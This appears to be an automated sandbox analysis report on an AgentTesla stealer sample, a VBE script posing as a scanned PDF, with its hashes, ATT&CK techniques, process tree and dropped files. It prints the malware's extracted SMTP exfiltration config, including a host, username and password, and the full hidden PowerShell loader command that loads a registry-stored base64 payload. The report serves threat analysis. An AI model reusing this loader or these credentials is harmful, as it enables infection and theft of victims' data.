agenttesla | 8ca7465b2cebc546b19374162071bd15dd523bf7c47822679af3f32bf7b19125

General

Target

DOC-SCAN 20250422pdf.vbe
Size

1.4MB
MD5

e74e9c45b6174df5b9fce15b790ad64f
SHA1

1b785dbbb0827ae8583269c3268e1fa4b66c4107
SHA256

8ca7465b2cebc546b19374162071bd15dd523bf7c47822679af3f32bf7b19125
SHA512

2ffcd4b22ba4a692557ea7f74c96d5eeb831818bdb18b071e70af1d6d4910c3478c2b2e1206253a174a860f4a5302cd002fac4dc52247ca97a8a3dbe978faa07
SSDEEP

24576:802hUXc2IkQqu9ytsCv+ofYoXtztBzBYbZjD8Yhg+r4FzIjlHOkPEHF30+Wgb8:zh1YLki

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
162.254.34.31
Port:
587
Username:
[email protected]
Password:
26ivK6IyAzFg
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Agenttesla family
agenttesla

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5252	powershell.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org
2	api.ipify.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5252 set thread context of 3168	5252	powershell.exe	81

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5252	powershell.exe
5252	powershell.exe
5252	powershell.exe
5252	powershell.exe
3168	MSBuild.exe
3168	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5252	powershell.exe
Token: SeDebugPrivilege	3168	MSBuild.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1624 wrote to memory of 5252	1624	WScript.exe	79
PID 1624 wrote to memory of 5252	1624	WScript.exe	79
PID 5252 wrote to memory of 3168	5252	powershell.exe	81
PID 5252 wrote to memory of 3168	5252	powershell.exe	81
PID 5252 wrote to memory of 3168	5252	powershell.exe	81
PID 5252 wrote to memory of 3168	5252	powershell.exe	81
PID 5252 wrote to memory of 3168	5252	powershell.exe	81
PID 5252 wrote to memory of 3168	5252	powershell.exe	81
PID 5252 wrote to memory of 3168	5252	powershell.exe	81
PID 5252 wrote to memory of 3168	5252	powershell.exe	81

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DOC-SCAN 20250422pdf.vbe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\pXjpgdOFPfmQoBy' -Name 's').s | ForEach-Object {$_[-1..-($_.Length)]}))); [lol.lol]::lol('pXjpgdOFPfmQoBy')
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5252
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3168

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Admin\AppData\Roaming\pXjpgdOFPfmQoBy.vbs"
1⤵
PID:4364

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qlrwsb1j.l2c.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\pXjpgdOFPfmQoBy.vbs

Filesize
2KB

MD5
416ea489583dbdca7c39c03488abe7e4

SHA1
4090572d3fe094c86426f8c49137b96a468b4603

SHA256
f83f395b85318ea66ee22cd09b7bdcfc929d4ee4d1943604ab13bdd714e53d48

SHA512
abe3fb4591b1e3333397fd8c667b8f551ea2da1a9c1b314b6a24cc48b5150aa1f5cacabbbf4085ddcf95ab6f3e427e97d0c5135b2cc8551a20d5fcd6cf6a4bb6

Download Submit
memory/3168-17-0x0000000000F00000-0x0000000000F40000-memory.dmp

Filesize
256KB

Download
memory/3168-23-0x0000000006AA0000-0x0000000006AAA000-memory.dmp

Filesize
40KB

Download
memory/3168-22-0x0000000006B30000-0x0000000006BC2000-memory.dmp

Filesize
584KB

Download
memory/3168-21-0x0000000006A40000-0x0000000006A90000-memory.dmp

Filesize
320KB

Download
memory/3168-20-0x0000000005670000-0x00000000056D6000-memory.dmp

Filesize
408KB

Download
memory/3168-19-0x0000000005BB0000-0x0000000006156000-memory.dmp

Filesize
5.6MB

Download
memory/5252-12-0x00007FFBE37B0000-0x00007FFBE4272000-memory.dmp

Filesize
10.8MB

Download
memory/5252-16-0x0000016F7CA20000-0x0000016F7CA2C000-memory.dmp

Filesize
48KB

Download
memory/5252-18-0x00007FFBE37B0000-0x00007FFBE4272000-memory.dmp

Filesize
10.8MB

Download
memory/5252-15-0x0000016F7C9F0000-0x0000016F7C9FA000-memory.dmp

Filesize
40KB

Download
memory/5252-14-0x0000016F7CA30000-0x0000016F7CA76000-memory.dmp

Filesize
280KB

Download
memory/5252-13-0x00007FFBE37B0000-0x00007FFBE4272000-memory.dmp

Filesize
10.8MB

Download
memory/5252-1-0x00007FFBE37B3000-0x00007FFBE37B5000-memory.dmp

Filesize
8KB

Download
memory/5252-11-0x00007FFBE37B0000-0x00007FFBE4272000-memory.dmp

Filesize
10.8MB

Download
memory/5252-10-0x0000016F7C970000-0x0000016F7C992000-memory.dmp

Filesize
136KB

Download

Analysis

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